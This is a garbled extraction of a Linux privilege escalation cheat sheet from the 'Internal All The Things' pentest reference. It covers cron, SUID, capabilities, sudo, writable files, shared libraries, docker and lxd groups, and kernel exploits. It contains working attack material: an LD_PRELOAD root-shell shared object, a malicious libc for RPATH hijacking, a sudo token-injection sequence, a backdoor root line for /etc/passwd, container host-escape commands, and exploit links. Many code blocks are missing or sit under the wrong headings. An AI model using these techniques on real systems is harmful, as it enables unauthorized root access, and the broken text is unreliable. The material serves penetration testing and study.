Linux - Privilege Escalation - Internal All The Things
Linux - Privilege Escalation - Internal All The Things
Back to top
Summary
Tools
Checklist
In memory passwords
SSH Key
Sensitive ;les
Scheduled tasks
Cron jobs
Systemd timers
SUID
Capabilities
Edit capabilities
Interesting capabilities
SUDO
NOPASSWD
Doas
sudo_inject
CVE-2019-14287
GTFOBins
Wildcard
Writable ;les
Writable /etc/passwd
Writable /etc/sudoers
Shared Library
ldcon;g
RPATH
Groups
Docker
LXC/LXD
Kernel Exploits
CVE-2022-0847 (DirtyPipe)
CVE-2016-5195 (DirtyCow)
CVE-2010-3904 (RDS)
CVE-2012-0056 (Mempodipper)
Tools
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information,
processes, and ;les to locate privilege escalation vectors. Here are a few:
Checklists
Kernel and distribution release details
System Information:
Hostname
Networking details:
Current IP
User Information:
Extract full details for 'default' uid's such as 0, 1000, 1001 etc
List current users history ;les (i.e .bash_history, .nano_history, .mysql_history , etc.)
Privileged access:
Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
Environmental:
Jobs/Tasks:
Services:
Sudo
MYSQL
Postgres
Apache
Default/Weak Credentials:
Searches:
Locate .conf and .log ;les containing keyword supplied at script runtime
Locate mail
The /etc/security/opasswd ;le is used also by pam_cracklib to keep the history of old passwords so that the user will not
reuse them.
Treat your opasswd ;le like your /etc/shadow ;le because it will end up containing user password hashes
In memory passwords
Preseed
A preseed.cfg ;le is used in Debian-based Linux distributions to automate the installation process. It contains answers to the
questions that the installer normally asks, allowing for a fully unattended installation. This ;le can specify con;gurations
such as partitioning schemes, package selections, network settings, and user accounts.
SSH Key
Sensitive ;les
This module describes how to attempt to use an obtained authorized_keys ;le on a host system.
Steps
1. Get the authorized_keys ;le. An example of this ;le would look like so:
1. Since this is an ssh-dss key, we need to add that to our local copy of /etc/ssh/ssh_config and
/etc/ssh/sshd_config :
1. Grab the ;rst 20 or 30 bytes from the key ;le shown above starting with the "AAAA..." portion and grep the unpacked
keys with it as:
1. IF SUCCESSFUL, this will return a ;le (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public ;le. To use the private
key ;le to connect, drop the '.pub' extension and do:
And you should connect without requiring a password. If stuck, the -vvv verbosity should provide enough details as to why.
Scheduled tasks
Cron jobs
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
Systemd timers
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.tim
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clea
3 timers listed.
SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a ;le with this bit is
run, the uid will be changed by the owner one. If the ;le owner is root , the uid will be changed to root even if it was
executed from user bob . SUID bit is represented by an s .
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
Function Description
setreuid() sets real and effective user IDs of the calling process
Capabilities
List capabilities of binaries
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
Edit capabilities
Interesting capabilities
Having the capability =ep means the binary has all the capabilities.
Alternatively the following capabilities can be used in order to upgrade your current privileges.
CAP_CHOWN Allow user to make arbitrary change to ;les UIDs and GIDs
CAP_DAC_OVERRIDE This helps to bypass ;le read, write and execute permission checks
CAP_DAC_READ_SEARCH This only bypasses ;le and directory read/execute permission checks
CAP_FOWNER This enables bypass of permission checks on operations that normally require the ;lesystem UID of the process to
match the UID of the ;le
SUDO
Tool: Sudo Exploitation
NOPASSWD
Sudo con;guration might allow a user to execute some command with another user's privileges without knowing the
password.
$ sudo -l
In this example the user demo can run vim as root , it is now trivial to get a shell by adding an ssh key into the root directory
or by calling sh .
Compile the following shared object using the C code below with gcc -fPIC -shared -o shell.so shell.c -nostartfiles
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Execute any binary with the LD_PRELOAD to spawn a shell : sudo LD_PRELOAD=<full_path_to_so_file> <program> , e.g:
sudo LD_PRELOAD=/tmp/shell.so find
Doas
There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its con;guration at
/etc/doas.conf
sudo_inject
Using https://github.com/nongiach/sudo_inject
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
CVE-2019-14287
GTFOBins
GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or
maintain elevated privileges, transfer ;les, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
Wildcard
By using tar with –checkpoint-action options, a speci;ed action can be used after a checkpoint. This action could be a
malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to
use the speci;c options is quite easy, and that's where the wildcard comes in handy.
# vulnerable script
tar cf archive.tar *
Tool: wildpwn
Writable Eles
List world writable ;les on the system.
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
src : https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Writable /etc/passwd
Then add the user hacker and add the generated password.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
NOTE: In BSD platforms /etc/passwd is located at /etc/pwd.db and /etc/master.passwd , also the /etc/shadow is
renamed to /etc/spwd.db .
Writable /etc/sudoers
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
Shared Library
ldcon;g
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
RPATH
By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as speci;ed in the RPATH variable.
Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-
Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), voi
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Groups
Docker
Mount the ;lesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account
toor:password .
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
Or use the following docker image from chrisfosterelli to spawn a root shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m
LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host ;lesystem inside.
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(w
Build an Alpine image and start it using the tag security.privileged=true , forcing the container to interact as root with the
host ;lesystem.
Alternatively https://github.com/initstring/lxd_root
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk ! * bin-sploits - @offensive-security *
kernel-exploits - @lucyoa
The following exploits are known to work well, search for more exploits with searchsploit -w linux kernel centos .
Another way to ;nd a kernel exploit is to get the speci;c kernel version and linux distro of the machine by doing uname -a
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
CVE-2022-0847 (DirtyPipe)
https://www.exploit-db.com/exploits/50808
CVE-2016-5195 (DirtyCow)
CVE-2010-3904 (RDS)
https://www.exploit-db.com/exploits/15285/
https://www.exploit-db.com/exploits/15704/
CVE-2012-0056 (Mempodipper)
https://www.exploit-db.com/exploits/18411
References
SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m
HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018
Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018
Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates
Setting the root password in preseed.cfg for unattended installation - Sebest - Mar 31, 2010